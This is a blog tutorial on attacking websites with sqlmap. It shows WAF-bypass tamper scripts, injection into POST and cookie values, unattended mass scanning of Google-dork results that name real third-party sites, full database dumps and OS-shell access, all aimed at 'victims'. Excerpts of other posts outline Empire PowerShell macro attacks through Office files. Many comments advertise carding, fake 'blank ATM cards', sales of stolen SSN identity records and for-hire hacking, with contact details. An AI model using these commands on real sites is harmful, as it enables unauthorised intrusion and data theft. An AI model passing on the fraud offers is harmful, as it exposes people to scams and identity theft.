Skip to main content

Advanced Sqlmap - Metasploit for SQL Injection.

Advanced Sqlmap - Metasploit for SQL Injection.

[?] What is SQL Injection?
I'm not describe what is SQL Injection in this post, please check https://www.owasp.org/index.php/SQL_Injection
[?] Why we use sqlmap?
- This is a automatic SQL injection tool.
- Provide many advanced technique that I'll show you in this post.
- Open source and highly scalable.
- Easy to install.
[*] Sqlmap source https://github.com/sqlmapproject/sqlmap
All you need is python 2.x and Internet connection:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

[*] Well, now I'm gonna show you some advanced technique.
[Bypass WAF using sqlmap tamper script]

python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' --level=5 --risk=3 --tamper=apostrophemask,apostrophenullencode --timeout=25 --time-sec=25 --random-agent --dbs

You can also use more tamper script but it depend on your victim DBMS. (use too much tamper script is not RECOMMEND)
Here is some tamper script for specific DBMS:
- General Tamper testing:
 tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

- MSSQL:
 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

- MySQL:
 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

[Run sqlmap with custom position and POST request]
So what if your target URL is: http://example.com/post/123
How can we use -p option in sqlmap? Just add an '*' to indicate position that you want to inject sqlmap payload.

python sqlmap.py -u 'http://example.com/post/123*’ --dbs

Or even POST request like this:

POST /login.php HTTP/1.1
Host: example.com
user=admin&pass=supersecret

Save that POST request to a file, for example request.txt
python sqlmap.py -r request.txt -p 'user' --dbs

You can also place '*' in everywhere in request.txt and run sqlmap. (for example cookie injection :D)

[Running sqlmap without interact]
Normally when you run sqlmap, you'll get some question from sqlmap like this:


This is useful but sometimes bother you. So run command below will help you with that.

python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' --batch

--batch : use the default behaviour, for example:
it is not recommended -- [snip] -- Do you want to skip? [Y/n]
In this case 'Y' is default and use --batch option will skip that question and use 'Y'

python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' --answer="extending=N,follow=N,keep=N,exploit=Y"

You can also use --answer option to pre-answer some question.
- extending: increase level and risk.
- follow: follow redirection.
- keep: keep running or not if connection timeout.
- exploit: exploit or not if target exploitable.

[Running sqlmap with Google Dork]
Google dork for sql injection: https://www.exploit-db.com/google-hacking-database/14/
In this post I'm gonna use: inurl:"article.php?id=" just for a demo.

python sqlmap.py -g 'inurl:"article.php?id="' --random-agent --batch --answer="extending=N,follow=N,keep=N,exploit=Y" --dbs --thread 5

You can even running sqlmap with list of link from Google Dork.

--[snip]--
https://www.avilas-style.com/shop/article.php?id=3003
poedb.tw/article.php?id=Ascendancy
www.treadofpioneers.org/article.php?id=15
www.weicards.com/article.php?id=4
https://www.viewsonic.com/tw/support/article.php?id=269
www.irentals.cn/article.php?id=144
www.observer-taipei.com/article.php?id=1389
www.havemary.com/article.php?id=4465
www.taitungbb.com.tw/article.php?id=28
https://www.earthobservations.org/article.php?id=218
--[snip]--

Save that file in simple.txt and use the command below:
python sqlmap.py -m simple.txt --random-agent --batch --answer="extending=N,follow=N,keep=N,exploit=Y" --thread 5 --dbs --output-dir="/tmp/data-sqli/"

-m: file that contain links need to test.
--output-dir: custom place output of sqlmap session (default is '.sqlmap/output/')

So what if we crawl all the link from Google Dork to running sqlmap(use Burp Suite or custom python script).
I already created a python script to do that shit :D.



[Running sqlmap with Burp Suite]
You need to install SQLiPy extension on Burp, check it out on official Burp Suite site
https://support.portswigger.net/customer/en/portal/articles/2791040-using-burp-with-sqlmap

Run sqlmapapi server:
python sqlmapapi.py -s -H <IP> -p <Port>
For instance:
python sqlmapapi.py -s -H 127.0.0.1 -p 8775

Send request to SQLiPy and you good to go.






[Some technique to dump data from vulnerable target]

Enumerate DBMS databases:
python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' --dbs

Dump all DBMS databases tables entries:
python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' --dump-all

Enumerate DBMS database tables:
python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' -D somedb --tables

Dump data from specific database or talbes:
python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' -D somedb -T sometable --dump


[Some other advanced technique]
Show advanced help:
python sqlmap.py -hh

Specific DBMS:
--dbms: specific DBMS to save your time (e.g --dbms=mysql)

Revershell with sqlmap:
--os-shell: revershsell by upload UDF function (not work with all case)

Custom sql query:
--sql-shell: Prompt for an interactive SQL shell (basically you can run any sql query)













Comments

  1. I've discovered this to be extremely practical to involve myself in Weight Loss pills. This by itself isn't rather appealing to me.keto bodytone They expect to strike gold. It was an estimate. You may reckon that I'm as wily as a fox.
    https://www.healthstrikes.com/keto-bodytone-de/

    ReplyDelete
    Replies
    1. I was searching for loan to sort out my bills& debts, then i saw comments about Blank ATM Credit Card that can be hacked to withdraw money from any ATM machines around you . I doubted thus but decided to give it a try by contacting { cyberhackingcompany@gmail.com} they responded with their guidelines on how the card works. I was assured that the card can withdraw $5,000 instant per day & was credited with$50,000,000.00 so i requested for one & paid the delivery fee to obtain the card, after 24 hours later, i was shock to see the UPS agent in my resident with a parcel{card} i signed and went back inside and confirmed the card work's after the agent left. This is no doubts because i have the card & has made used of the card. This hackers are USA based hackers set out to help people with financial freedom!! Contact these email if you wants to get rich with this Via: cyberhackingcompany@gmail.com ..    

      Delete
  2. I'm not here to make a judgment. It is bizarre how dabblers don't follow a surprisingly simple motion like Botox treatment. There's one other quite essential reason this Anti Aging wins. You may suspect that I'm so tight I squeak. It's like this with anything. virilaxyn rx If you don't expect Skin Care will happen, take a look at that. This is how to quit being bothered and start thinking touching on Botox treatment.
    https://www.nutraplatform.com/virilaxyn-rx/

    ReplyDelete
  3. Perhaps you understand this now. That is akin to closing the gate after the horse runs away. I'm returning to the basics now. That's how to decrease problems with your skin cream. Most gentlemen need to see your Skin Care first. Why shouldn't one be allowed to comment on something that details Anti Aging so well? How does he do it? Shove off! Usually, "The more one knows, the less one believes.
    https://www.nutraplatform.com/

    ReplyDelete
  4. Brilliance SF Anti-aging cream is an attractive user who wants to use it. It has two main features that are the core of the skin of the devil, collagen and retina. It is also known as the Collagen Minot Cream name. Well, what can we say about the many promising features, there are thousands of opinions on this cream, so you can easily choose, even if it’s better for you. Kindly Visit on Brilliance Skin Care Reviews

    ReplyDelete
  5. Hi Pro, Pro has share me Script Dork SQLMAP ??

    Email: tinhacc100@gmail.com

    Quote: " So what if we crawl all the link from Google Dork to running sqlmap(use Burp Suite or custom python script).
    I already created a python script to do that shit :D. .."

    ReplyDelete
  6. I was searching for loan to sort out my bills& debts, then i saw comments about Blank ATM Credit Card that can be hacked to withdraw money from any ATM machines around you . I doubted thus but decided to give it a try by contacting {skylinktechnes@yahoo.com} they responded with their guidelines on how the card works. I was assured that the card can withdraw $5,000 instant per day & was credited with $50,000 so i requested for one & paid the delivery fee to obtain the card, i was shock to see the UPS agent in my resident with a parcel{card} i signed and went back inside and confirmed the card work's after the agent left. This is no doubts because i have the card & has made used of the card. This hackers are USA based hackers set out to help people with financial freedom!! Contact these email if you wants to get rich with this Via email skylinktechnes@yahoo.com or whatsapp: +1(213)785-1553

    ReplyDelete
  7. Do you need to hack into any, databaseserver spy on Facebook,Emails, Whatsapp, Viber, Snapchat, Instagram and many more.
    I urge you to get in touch with the best people for the job, i have confirm the service when i need to spy on my spouse phone. They are good at Phone Cloning and Bitcoin/binary minning and any other hack job.
    Thanks guys for the team work HACKINTECHNOLOGYATGMAILDOTCOM
    +12132951376(WHATSAPP)

    ReplyDelete
  8. ****Contact Me****
    *ICQ :748957107
    *Gmail :taimoorh944@gmail.com
    *Telegram :@James307


    SELLING Fresh and valid USA ssn fullz
    99% connectivity with quality
    *If you have any trust issue before any deal you may get few to test
    *Every leads are well checked and available 24 hours
    *Fully cooperate with clients
    *Any invalid info found will be replaced
    *Good credit score above 700 every fullz
    *Payment (BTC&Paypal)
    *Fullz will be available according to demand i.e (format,specific state,specific zip code & specifc name etc..)

    *Format of Fullz/leads/profiles
    °First & last Name
    °SSN
    °DOB
    °(DRIVING LICENSE NUMBER)
    °ADDRESS
    (ZIP CODE,STATE,CITY)
    °PHONE NUMBER
    °EMAIL ADDRESS
    °Relative Details
    °Employment status
    °Previous Address


    $2 for each fullz/lead
    (Price can be negotiable if order in bulk)


    OTHER SERVICES ProvIDING

    *(Dead Fullz)
    *(Email leads with Password)

    *(Dumps track 1 & 2 with pin and without pin)

    *Hacking Tutorials
    *Smtp Linux

    *Contact soon!
    *Hope for a long term Business
    *Thank You!

    ****Contact Me****
    *ICQ :748957107
    *Gmail :taimoorh944@gmail.com
    *Telegram :@James307

    ReplyDelete
  9. I am a Single full time dad on disability getting no help from their moms. It a struggle every day. My boys are 15 and 9 been doing this by myself for 8 years now it’s completely drained all my savings everything . These guys are the present day ROBIN HOOD. Im back on my feet again and my kids can have a better life all thanks to the blank card i acquired from skylink technology. Now i can withdraw up too 3000 per day Contact them as well on Mail: skylinktechnes@yahoo.com   or   whatsspp/telegram: +1(213)785-1553

    ReplyDelete
  10. BE SMART AND BECOME RICH IN LESS THAN 3DAYS.... It all depends on how fast you can be to get the new PROGRAMMED blank ATM card that is capable of hacking into any ATM machine anywhere in the world. I got to know about this BLANK ATM CARD when I was searching for job online about a month ago... It has really changed my life for good and now I can say I'm rich and I can never be poor again. The least money I get in a month with it is about $50,000.00(Fifty Thousand US Dollars). Everyday I keep pumping money into my account. There is no risk of being caught, because it has been programmed in such a way that it is not traceable, it also has a technique that makes it impossible for the CCTV's to detect you... For details on how to get yours today, email the hackers on: accessatmhackingcompany@gmail.com . Tell your loved ones too, and start to live large. That's the simple testimony of how my life changed for good... Love you... The email address again is: accessatmhackingcompany@gmail.com contact them now and thank me later!!

    ReplyDelete
  11. Hello everyone I want to introduce you guys to a group a private investigators who can help you with information you need in any situation in life and they are ready to follow you step by step until your case is cleared just contact +17078685071 and you will happily ever after

    Premiumhackservices@gmail.com

    ReplyDelete
  12. ****Contact Me****
    *ICQ :748957107
    *Gmail :taimoorh944@gmail.com
    *Telegram :@James307


    (Selling SSN Fullz/Pros)

    *High quality and connectivity
    *If you have any trust issue before any deal you may get few to test
    *Every leads are well checked and available 24 hours
    *Fully cooperate with clients
    *Any invalid info found will be replaced
    *Credit score above 700 every fullz
    *Payment Method
    (BTC&Paypal)

    *Fullz available according to demand too i.e (format,specific state,specific zip code & specifc name etc..)

    *Format of Fullz/leads/profiles
    °First & last Name
    °SSN
    °DOB
    °(DRIVING LICENSE NUMBER)
    °ADDRESS
    (ZIP CODE,STATE,CITY)
    °PHONE NUMBER
    °EMAIL ADDRESS
    °Relative Details
    °Employment status
    °Previous Address
    °Income Details
    °Husband/Wife info
    °Mortgage Info


    $2 for each fullz/lead with DL num
    $1 for each SSN+DOB
    $5 for each with Premium info
    (Price can be negotiable if order in bulk)


    OTHER SERVICES ProvIDING

    *(Dead Fullz)
    *(Email leads with Password)

    *(Dumps track 1 & 2 with pin and without pin)

    *Hacking Tutorials
    *Smtp Linux
    *Safe Sock

    *Let's come for a long term Business


    ****Contact Me****
    *ICQ :748957107
    *Gmail :taimoorh944@gmail.com
    *Telegram :@James307

    ReplyDelete
  13. I just have to introduce this hacker that I have been working with him on getting my credit score been boosted across the Equifax, TransUnion and Experian report. He made a lot of good changes on my credit report by erasing all the past eviction, bad collections and DUI off my credit report history and also increased my FICO score above 876 across my three credit bureaus report you can contatc him for all kind of hacks . Email him here via Email him here via hackintechnology@cyberservices.com or whatsapp Number: +1 213 295 1376.

    ReplyDelete
  14. I was searching for a loan to sort out my bills & debts, then I saw comments about Blank ATM Credit Cards that can be hacked to withdraw money from any ATM machines around you . I doubted this but decided to give it a try by contacting { officialblankatmservice@gmail.com} they responded with their guidelines on how the card works. I was assured that the card can withdraw $5,000 instant per day & was credited with $50,000,000.00 so i requested for one & paid the delivery fee to obtain the card, after 24 hours later, i was shock to see the UPS agent in my resident with a parcel {card} i signed and went back inside to pick up my car key and drove to a nearest ATM machine to confirmed if the card really work to my greatest surprise it did.. This is no doubt because I have the card & have made use of the card. These hackers are UK based hackers set out to help people with financial freedom!! Contact them via email: officialblankatmservice@gmail.com or WhatsApp +447937001817 if you want to get rich.

    ReplyDelete
  15. Quiero agradecer mucho a Kelvin Ericksson por hacerme vivir una vida mejor y más estándar ... Obtuve la tarjeta de cajero automático del servicio de entrega ... Quiero usar este medio para decirle a cualquiera que viva en EE. UU. Y EUROPA para tomar la decisión correcta hoy Kelvin Ericksson es real ... LAS TARJETAS DE ATM PROGRAMADAS son reales y funcionan perfectamente
    CONTACTO CON KELVIN ERICKSSON: BLANKATMMASTER5555@GMAIL.COM
    QUÉ-APLICACIÓN: +3197005033695

    ReplyDelete
  16. A few months ago, I felt so depressed, I got frustrated with bad credits, but then I contacted HACK VANISH by phone: +1 (747) 293-8514 and email: HACK VANISH (@) GMAIL. COM. I found out about hack vanish services through positive reviews read on some credit blogs, in a blink of an eye this great hacker restored my credit score from 509 to 784 in all 3 major credit bureaus, they got removed evictions and foreclosures, my LexisNexis and Chex system was repaired respectively, a few days later I received an email confirming the approval of my mortgage loan, it was quite surprising because I never thought it was possible. Today, I can confidently say that 2021 was a banner year for my husband and I as we now own a new house and a new SUV courtesy of HACK VANISH, I would definitely recommend him to anyone in need of a genuine Hacker.

    ReplyDelete
  17. A few months ago, I felt so depressed, I got frustrated with bad credits, but then I contacted HACK VANISH by phone: +1 (7 4 7) 2 9 3 – 8 5 1 4 and email: HACK VANISH (@) GMAIL. COM. I found out about hack vanish services through positive reviews read on some credit blogs, in a blink of an eye this great hacker restored my credit score from 509 to 784 in all 3 major credit bureaus, they got removed evictions and foreclosures, my LexisNexis and Chex system was repaired respectively, a few days later I received an email confirming the approval of my mortgage loan, it was quite surprising because I never thought it was possible. Today, I can confidently say that 2021 was a banner year for my husband and I as we now own a new house and a new SUV courtesy of HACK VANISH, I would definitely recommend him to anyone in need of a genuine Hacker.

    ReplyDelete
  18. Cyberz Phoenix is a Group of Multinational Hackers & Spammers. We make sure by all means necessary that our clients get the best of services on A PAYMENT.
    Rather than send money and trust a criminal to fulfill your deal. You'll get excellent customer service.
    That's a 100% guarantee.

    BEWARE OF FRAUDSTARS
    if you have been a VICTIM,
    Contact:
    Telegram : @Cyberz_Phoenix
    ICQ : @1001829652
    WICKR : @cyberzphoenix for directives.
    Here, it's always a win for you.
    Without any Reasonable doubts, it is no news that Cyberz Phoennix offer one of the best services.

    Amongst others, services we offer are listed as follows :

    Fresh and valid USA SSN leads :
    >> SSN+DOB
    >> SSN+DOB+DL
    >> Premium high score fullz (also included relative info)

    TUTORIALS AVAILABLE FOR
    SPAMMING
    CARDING
    CASHOUTS
    MOBILE DEPOSITS
    >APPLE PAY & ANDROID TAP CASH
    >BANK TRANSFER
    >HOW TO CASHOUT DUMPS+PINS
    >MOBILE DEPOSIT

    >SAFE SOCKS5 (USA)
    >SMTP Linux Root
    -->DUMPS+PINS
    (How to use & create dumps with pins track 1 & 2)

    >SERVER I.P's & proxies in bulk
    >USA EMAILS Combo
    >Fresh Leads for tax returns & w-2 form filling
    >CC's with CVV's (vbv & non-vbv)
    >USA Photo ID'S (Front & back)
    >Payment mode BTC, ETH, LTC, & USDT

    Contact:
    Telegram : @Cyberz_Phoenix
    ICQ : @1001829652
    WICKR : @cyberzphoenix

    ReplyDelete

  19. hi Every-onE!----------

    Here the Valid store available for all kind of t-ools,t-utorials & F-ullz with quality
    Learn h-acking and s-pamming and do it on your own way & enjoy...

    _______________

    1)FRESHLY USA F-ULLZ/PROS
    2)H-ACKING & S-PAMMING TOOLS
    3)T-UTORIALS
    _______________

    *Contact*
    *I-C-Q :-748957107
    *TG :-- @James307
    _______________
    USA S-SN F-ULLZ WITH ALL PERSONAL DATA+DL NUMBER
    -F-ULLZ FOR P-U-A & S-B-A
    -F-ULLZ FOR TAX RE-FUND
    *F-ullz/lead with DL num
    *F-ullz with Good credit score(Any state)
    *S-SN+DOB
    *Premium info
    *EIN PIN L-EADS
    (TAX RETURN)
    *ELECTRONIC FILING L-EADS

    -Invalid or Wrong f-ullz can be replaced
    -Free samples can be provided only for big Deals
    -Can get specific state,zip code,age etc...

    *ID's Photos For any state (back & front)
    *Passport Photos
    ________________
    +US c-c F-ullz
    +(Dead F-ullz)
    +(Email leads with Password)
    +(D-umps track 1 & 2 with pin and without pin)
    +H-ACKING & C-ARDING TUTORIALS
    +S-MTP LINUX
    +S-AFE SOCK
    +C-PANEL
    +R-DPs
    +S-pamming Tutorial
    +SERVER I.Ps
    +EMAIL COMBO
    +D-UMPS TUTORIAL
    +BTC FLASHER
    +K-EYLOGGER COMP&MOB
    +EMAIL B-OMBER
    +S-QLI INJECTOR
    +E-THICAL H-ACKING TUTORIAL
    +GMAIL H-ACKING TUTORIAL
    +PENETRATION TESTING TUTORIAL
    +PayPal Cracker
    +BTC Cracker
    +EMAIL BLASTER
    +SMS SENDER
    +NORD VPN
    +ONION LINKS AND TOR BROWSER (LATEST VERSION)
    +D-ARK HORSE T-ROJAN
    +NETFLIX CHECKER
    +IP ROUTING
    +KEY-STROKE LOGGER
    +WESTERN UNION LOGINs
    +ALI BABA IPs
    +K-EYLOGGER
    +S-HELL SCRIPTING
    _______________
    *Let's do a long term business with good profit
    *Contact for more details & deal

    *Contact*
    *I-C-Q :748957107
    *TG--: @James307

    ReplyDelete

Post a Comment

Popular posts from this blog

Hack windows through Office file using powershell attack

[*] Hack windows through Office file using powershell attack [*] - You need to install Empire to create macro code (check video Config Empire ). - Config listener on empire:   ./empire  listeners  uselisteners http_com  set Name <listener_name>  set Port <listener_port>  execute   - Create macro code:    usestager windows/macro < listener_name >  set OutFile <Output_path>  execute - Embedded macro to Office file:   Word --> View --> Macro --> Copy your macro code. - Wait for victim run office file. => And you got a victim. [*] Video Demo: 

How to config and use Empire 2.0 to perform powershell attack

[*] How to config and use Empire 2.0 to perform powershell attack [*] [!] Note:  PowerShell can be run in memory where antivirus can’t see it, so it  obviously bypass antivirus. - Clone and install Empire.  git clone https://github.com/EmpireProject/Empire  cd Empire/setup  ./install.sh - How to use Listener.    ./empire  listeners  uselisteners <type_of_listener>  set Name <listener_name>  set Port <listener_port>  set DefaultDelay <delay_time>  info  execute - How to use stager.  main  usestager <stager_name> < listener_name >  info  [set <variable> <value>]  [info]  execute => Payload have been create. - Send payload to your victim. - Wait for victim run payload and get agents. - Interact with agent.  agents  interact <agents_name>  rename <agents_name_you_want>  usemodule <module_name>  execute Video Demo